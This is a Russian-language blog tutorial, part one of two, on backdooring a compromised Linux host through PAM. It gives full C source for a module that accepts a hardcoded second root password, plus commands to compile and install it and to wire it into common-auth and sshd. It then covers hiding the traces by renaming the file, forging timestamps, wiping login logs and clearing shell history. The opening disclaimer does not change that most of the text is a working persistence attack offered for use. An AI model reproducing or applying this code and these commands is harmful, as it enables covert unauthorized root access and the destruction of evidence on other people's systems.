January 20

PAM backdoor by artrone ЧАСТЬ 1/2

Внимание! Статья несёт исключительно информативный характер. Подобные действия преследуются по закону!

Привет! В двух статьях мы сфокусируемся на том, как злоумышленники могут использовать модуль PAM для создания backdoor'ов, погрузимся в мир аутентификации, раскроем работу PAM под капотом, научимся скрывать свои следы и, самое главное, реализуем это всё на практике.

И помни,

"Ни одна система не является безопасной." ©MRX

Немножко теории

PAM (Pluggable Authentication Modules) - это набор разделяемых библиотек, которые позволяют интегрировать различные низкоуровневые методы аутентификации в виде единого высокоуровневого API.

PAM используется везде, где требуется аутентификация пользователя или проверка его прав. Например, при подключении через SSH или FTP, а также при повышении привилегий через команду sudo.

Модули PAM находятся в директории lib/security для старых операционных систем типа CentOS и в директории /usr/lib/x86_64-linux-gnu/security для современных ОС вроде последних релизов Ubuntu. Конфигурационные файлы PAM — в директории /etc/pam.d.

Наглядная схема работы PAM:

Подробнее о PAM можно почитать здесь: https://habr.com/ru/companies/slurm/articles/694222/

Вводная информация

Итак, представим ситуацию: мы скомпрометировали хост, получив УЗ root'a. Безусловно, нам необходимо закрепиться в системе. Способов существует у-у-у-у-йма: от запланированной задачки в cron до руткитов. Но мы захотели повыёбываться выбрали проверенный временем способ: модуль PAM.

У нас есть 2 пути:

  1. Использование готовых решений
  2. Трайхардить ручками

Очевидно, для развития скиллов, выберем вариант под номером 2. Но, если вы ленивый человек, то вам сюда: https://github.innominds.com/rek7/madlib

Также доступен следующий выбор:

  1. Написать свой модуль (рассмотрен в этой части)
  2. Модифицировать существующий модуль (рассмотрен в следующей части)

Рассмотрим оба способа.

Перейдем к практике

Способ 1. Пишем свой модуль

Итак, в роле целевого хоста будет выступать Kali. В роле атакующего- Xubuntu

Если кратко, то нашей целью является дополнительный самописный модуль проверки пароля.
Например, мы хотим "добавить" дополнительный пароль для пользователя root. Пусть его оригинальный пароль - 'kali', а добавленный нами - 'bye'.

В таком случае, пользователь root будет иметь уже 2 пароля. Важно отметить, что новый модуль будет проверять только придуманный нами пароль, будто это дополнительное условие проверки в вашем коде.

Итак, приступим.

Поскольку модули написаны на языке С (редко на С++), то после их написания, необходима их компиляция. Соответственно, файлы имеют расширение *.so. Это значит, что нам тоже нужно будет компилировать наш модуль.

Вот как можно посмотреть стандартные решения:
ls /usr/lib/x86_64-linux-gnu/security/

Для начала, давайте создадим проект и назовем его test.c, затем поместим в него следующий код:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>

#define MYPASSWD "bye" //change this

PAM_EXTERN int pam_sm_setcred
(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_acct_mgmt
(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_authenticate
(pam_handle_t *pamh, int flags,int argc, const char **argv) {
    char *password = NULL;

     pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&password, NULL);

    if (!strncmp(password, MYPASSWD, strlen(MYPASSWD)))
        return PAM_SUCCESS;

    return -1;
}

Не забывайте поменять придуманный пароль в 7 строке :)

Немножко пробежимся по коду:
pam_sm_authenticate осуществляет аутентификацию пользователя. Она проверяет предоставленный пользователем пароль и возвращает PAM_SUCCESS в случае успеха.
pam_sm_acct_mgmt проверяет параметры УЗ пользователя (например, проверка срока действия учетной записи).
pam_sm_setcred устанавливает удостоверение пользователя (выдача доступа).

Теперь давайте скомпилим наш проект, предварительно установив нужные зависимости и компоненты:

apt install libpam0g-dev
gcc -fPIC -c -o test.o test.c
gcc -shared -o test.so test.o

Переместим к другим файлам:

mv test.so /lib/x86_64-linux-gnu/security/

Теперь давайте подключим наш модуль для авторизации с помощью SSH

Просмотрим содержимое файла /etc/pam.d/sshd

В самом начале видим подключение common-auth, которое нужно будет изменить.

Раньше логика взаимодействия была указана отдельно в каждом конфигурационном файле сервиса, то сейчас в новых версиях Linux используется подключение конфигурационных файлов /etc/pam.d/common-account, /etc/pam.d/common-auth и тд, которые используются в конфигурации pamd других сервисов.

Это даёт нам возможность изменить всего лишь common-auth, при этом закрепившись в ssh, su и т.д.

Давайте так и поступим:

nano /etc/pam.d/common-auth

Было:

Стало:

systemctl restart ssh

Пробуем подключиться:

ssh [email protected]
password: kali
success

ssh [email protected]
password: bye
success

Однако, если вы, по-прежнему, хотите установить бэкдур только для SSH, то можете изменить /etc/pam.d/sshd следующим образом:

Здесь мы взяли auth sufficient pam_unix.so nullok из /etc/pam.d/common-auth, чтобы не приходилось изменять и его.

Проверка:

• Для пароля bye:

• Для пароля kali:

Как видно, такой вариант увенчался успехом.

Заметаем следы

А теперь давайте замаскируем test.so, изменив его права, название и временные метки

chmod 644 test.so

mv test.so pam_auth.so

Не забываем изменить названия в конфигах с test.so на pam_auth.so

touch -r /lib/x86_64-linux-gnu/security/pam_rootok.so /lib/x86_64-linux-gnu/security/pam_auth.so

Файл успешно замаскирован.

Также не забудем про ранее подредаченные /etc/pam.d/sshdи /etc/pam.d/common-auth

touch -r /etc/pam.d/sudo /etc/pam.d/sshd

touch -r /etc/pam.d/sudo /etc/pam.d/common-auth

Теперь подчистим логи:

# echo > /var/log/wtmp
# echo > /var/log/btmp
# echo > /var/log/lastlog
history -r
cat /dev/null > ~/.bash_history

Поздравляю! Вы смогли закрепиться в системе, написав свой модуль.

Для закрепления прочитанного, предлагаю посмотреть видеоинструкцию: https://youtu.be/puf7jLTga1o

Вывод

Данный вариант закрепления не является очень надежным способом из-за создания нового файла, который более-менее опытный админ легко найдет. Также мы меняем конфиги, которые тоже можно сравнить с оригинальными. Помимо этого, мы компилили файл на целевом хосте, чего лучше не делать (по-хорошему, если это сервер, то не должно быть возможности компиляции файлов для обеспечения безопасности). Данный способ подойдет в качестве закрепления на хостах, чьи хозяева не являются уверенными пользователями Linux, которые с легкостью заподозрят неладное.

Во второй части рассмотрим более скрытный способ, а также настроим логирование всех пользователей, которые вводят пароль в системе. До скорого :)